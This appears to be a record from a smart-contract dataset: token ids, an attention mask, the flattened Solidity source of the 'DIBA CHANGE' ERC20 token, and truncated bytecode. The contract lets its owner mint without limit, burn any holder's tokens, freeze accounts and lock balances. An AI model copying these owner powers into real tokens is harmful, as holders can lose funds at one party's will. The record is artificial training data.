[ 101, 1014, 2595, 2683, 2629, 3676, 4215, 2497, 2683, 23499, 22022, 2629, 4402, 2683, 2094, 22932, 2575, 2497, 2620, 2683, 21472, 11057, 2692, 2497, 2683, 12521, 2683, 2683, 2549, 19797, 2497, 2683, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 3229, 8663, 13181, 7630, 26952, 13662, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 24540, 1013, 21183, 12146, 1013, 3988, 21335, 3468, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 24540, 1013, 21183, 12146, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,803
0x95bade8be4fc2f49dcd468136a810d47336260b7
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } // File: contracts\Token.sol pragma solidity 0.5.8; contract Token is ERC20 { string public constant name = "DIBA CHANGE"; string public constant symbol = "DIBA"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 3000000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } //ownership address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } //pausable event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused, "Not paused now"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } //freezable event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } //mintable event Mint(address indexed to, uint256 amount); function mint( address _to, uint256 _amount ) public onlyOwner returns (bool) { super._mint(_to, _amount); emit Mint(_to, _amount); return true; } //burnable event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } //lockable struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function lockAfter(address _holder, uint256 _amount, uint256 _afterTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(now + _afterTime, _amount) ); emit Lock(_holder, _amount, now + _afterTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } function transferWithLockAfter(address _to, uint256 _value, uint256 _afterTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(now + _afterTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, now + _afterTime); return true; } function currentTime() public view returns (uint256) { return now; } function afterTime(uint256 _value) public view returns (uint256) { return now + _value; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80638456cb591161010f578063a9059cbb116100a2578063df03458611610071578063df03458614610a5e578063e2ab691d14610ab6578063e583983614610b0e578063f2fde38b14610b6a576101f0565b8063a9059cbb146108f2578063d18e81b314610958578063dd62ed3e14610976578063de6baccb146109ee576101f0565b8063927a4a7b116100de578063927a4a7b1461074b57806395d89b41146107bb5780639dc29fac1461083e578063a457c2d71461088c576101f0565b80638456cb591461065b5780638a57af6b146106655780638d1fdf2f146106bd5780638da5cb5b14610701576101f0565b80633f4ba83a116101875780635c975abb116101565780635c975abb1461058957806370a08231146105ab578063715018a6146106035780637eee288d1461060d576101f0565b80633f4ba83a1461046c57806340c10f191461047657806345c8b1a6146104dc57806346cf1bb514610520576101f0565b806323b872dd116101c357806323b872dd1461033e578063313ce567146103c4578063378dc3dc146103e85780633950935114610406576101f0565b806304859ceb146101f557806306fdde0314610237578063095ea7b3146102ba57806318160ddd14610320575b600080fd5b6102216004803603602081101561020b57600080fd5b8101908080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b61023f610bba565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027f578082015181840152602081019050610264565b50505050905090810190601f1680156102ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610306600480360360408110156102d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf3565b604051808215151515815260200191505060405180910390f35b610328610c0a565b6040518082815260200191505060405180910390f35b6103aa6004803603606081101561035457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c14565b604051808215151515815260200191505060405180910390f35b6103cc610d76565b604051808260ff1660ff16815260200191505060405180910390f35b6103f0610d7b565b6040518082815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8c565b604051808215151515815260200191505060405180910390f35b610474610e31565b005b6104c26004803603604081101561048c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fbf565b604051808215151515815260200191505060405180910390f35b61051e600480360360208110156104f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e6565b005b61056c6004803603604081101561053657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611267565b604051808381526020018281526020019250505060405180910390f35b61059161132d565b604051808215151515815260200191505060405180910390f35b6105ed600480360360208110156105c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611340565b6040518082815260200191505060405180910390f35b61060b611438565b005b6106596004803603604081101561062357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115a4565b005b610663611ac6565b005b6106bb6004803603606081101561067b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611c55565b005b6106ff600480360360208110156106d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f1e565b005b61070961209f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107a16004803603606081101561076157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506120c5565b604051808215151515815260200191505060405180910390f35b6107c3612526565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108035780820151818401526020810190506107e8565b50505050905090810190601f1680156108305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61088a6004803603604081101561085457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061255f565b005b6108d8600480360360408110156108a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126fc565b604051808215151515815260200191505060405180910390f35b61093e6004803603604081101561090857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506127a1565b604051808215151515815260200191505060405180910390f35b610960612901565b6040518082815260200191505060405180910390f35b6109d86004803603604081101561098c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612909565b6040518082815260200191505060405180910390f35b610a4460048036036060811015610a0457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612990565b604051808215151515815260200191505060405180910390f35b610aa060048036036020811015610a7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ded565b6040518082815260200191505060405180910390f35b610b0c60048036036060811015610acc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612e39565b005b610b5060048036036020811015610b2457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130fe565b604051808215151515815260200191505060405180910390f35b610bac60048036036020811015610b8057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613154565b005b60008142019050919050565b6040518060400160405280600b81526020017f44494241204348414e474500000000000000000000000000000000000000000081525081565b6000610c00338484613223565b6001905092915050565b6000600254905090565b6000600360149054906101000a900460ff1615610c99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f46726f6d206163636f756e74206973206c6f636b65642e00000000000000000081525060200191505060405180910390fd5b610d628461341a565b610d6d84848461388b565b90509392505050565b601281565b601260ff16600a0a63b2d05e000281565b6000610e273384610e2285600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393c90919063ffffffff16565b613223565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ef4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff16610f76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4e6f7420706175736564206e6f7700000000000000000000000000000000000081525060200191505060405180910390fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61108e83836139c4565b8273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106112b457fe5b906000526020600020906002020160000154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061131057fe5b906000526020600020906002020160010154915091509250929050565b600360149054906101000a900460ff1681565b6000806000905060008090505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561141457611405600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106113e457fe5b9060005260206000209060020201600101548361393c90919063ffffffff16565b9150808060010191505061134d565b506114308161142285613b7f565b61393c90919063ffffffff16565b915050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611667576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811061171e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e6f206c6f636b20696e666f726d6174696f6e2e00000000000000000000000081525060200191505060405180910390fd5b6117ca600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061176b57fe5b9060005260206000209060020201600101546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061188e57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061190157fe5b9060005260206000209060020201600101819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038114611a6f57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905003815481106119f157fe5b9060005260206000209060020201600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611a4957fe5b906000526020600020906002020160008201548160000155600182015481600101559050505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480919060019003611ac19190614204565b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff1615611c0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81611d2284613b7f565b1015611d96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b611de7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bc790919063ffffffff16565b6000808573ffffffffffffffffff